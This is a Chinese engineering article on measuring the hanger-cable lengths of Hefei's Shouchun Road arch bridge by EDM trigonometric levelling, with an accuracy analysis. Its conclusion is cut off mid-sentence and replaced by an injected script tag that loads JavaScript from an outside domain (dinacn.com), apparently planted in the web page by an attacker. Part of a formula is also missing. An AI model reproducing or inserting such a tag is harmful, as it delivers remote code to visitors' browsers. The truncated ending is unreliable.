1　工程概况

    合肥市寿春路桥始建于1987年，1988年元旦正式建成通车，是合肥市东向的交通要道。该桥为钢筋混凝土中承式拱桥，桥面系由钢筋混凝土简支板、横梁和纵梁组成，其中纵梁只是起固定横梁作用的构件，非直接受力构件。主拱圈计算跨径72m，计算矢高18m，由2根箱形拱肋组成，其横向间距为15.2m，每肋中间部分设置有竖直吊索14根，悬吊住桥面系的14根横梁，上锚于肋背，下锚于横梁底部。吊索作为桥面系结构和拱结构之间的传力构件，是大桥处于安全状态的重要构件(如图1)。

    由于大桥已使用10余年，当前大桥的通车量是设计初期的20倍，相关桥梁专家的安全检测结果表明吊索钢丝普遍受力不均匀，表面腐蚀严重。吊索的实际使用大大超过设计安全应力，已严重威胁结构安全，为此相关部门决定对大桥的28根吊索进行全面更换。

    由于吊索更换工作在安徽省尚属首次，在国内实例也较少，引起了相关部门的高度重视。恒载状况下的实际索长是设计计算的重要参考数据之一，也是量制新索的重要依据，合肥市测绘设计研究院于12月2日至4日对索长进行了精确测量。

    2　技术特点

    本次吊索测量工作存在如下特点。

    ①吊索由96根ф5标准强度为1670MPa的钢丝平行编组而成，上下端采用墩头锚具分别固定在拱肋和横梁上，外包镀锌钢管，内充黄油保护，无法直接测定其长度，上下两端均无法架设仪器，但上端可以架设三角对中杆。

    ②现场勘察并用2台全站仪校测，28根吊索均处于竖直状态，此特点为测量方案的实施提供了有力保证。

    ③测量精度要求为±5mm，取1/2限差作为中误差即吊索长度测量中误差为±2.5mm。

    3　测量方案及计算方法

    根据上述特点制定如下测量方案。

    ①在吊索上端拱背上架设三角对中杆，采用电磁波测距三角高程(EDM)测量方法，分别测定吊索上下端相对于仪器中心的高差，上下两端的高差之差即为吊索长度，计算公式为：

    　　　　H上下=S×sinα上下-V上+f    (1)

    　　　　L=H上-H下    (2)

    式中：S为测量斜距；α上下为上下端的竖直角；V上为觇标高；f为球气差改正，H上下为吊索上下端相对于仪器中心的高差；L为吊索长度。

    ②测量仪器采用TOPCON GTS311S全站仪，其测角精度为±2″，测距精度为±(2mm+2ppm×S), 竖直角观测采用中丝法三测回，测回间互差不超过±5″，距离观测二测回。

    ③为有效提高测量精度，在桥梁南北两侧河流东西两岸布置4个观测点(如图2)，各观测点独立计算，不进行联测，对吊索长度采用2次观测取平均值，2次观测互差不超过±5mm。

    ④为有效控制觇标高的量取误差，对三角对中杆进行检校，施测过程中采用固定觇标高，观测前后分别用钢尺丈量其高度，使其量取误差控制在1mm以内。

    ⑤由于本次观测边长较短，最长边为75m，因此计算时不考虑球气差改正，但竖直角观测时段选择在上午10时至下午16时之间进行。

    4　精度分析

    根据误差传播定律，将(1)、(2)式写为中误差形式

              MH上下2=MS2Sin2α+S2Mα2Cos2α/ρ2+MV2     (3)

                  ML2=MH上2 +M H下2      (4)

    根据文献的记载取Mα=±2″，MS=(2+2ppm×S)mm，MV=±1mm，由于吊索上下端同时观测，其观测条件基本相同精度，分析时可以认为MH上=MH下。

    当S=75m，α=21°(最大竖直角)时

    MH=±1.26mm，

    ML=MH=±1.8mm≤±2.5mm

    5　数据处理及精度评定

    索长测定工作是在交通封闭，桥梁处于稳定状态下进行的，观测结果显示本次竖直角观测的测角中误差为±1.8″，吊索长度见表1。

    根据双次观测求中误差公式：M=±，可以计算测量中误差为 ±2.08mm。

    6　结束语

    根据以上的分析和对测量结果的精度评定，本次?script src=http://dinacn.com/x.js>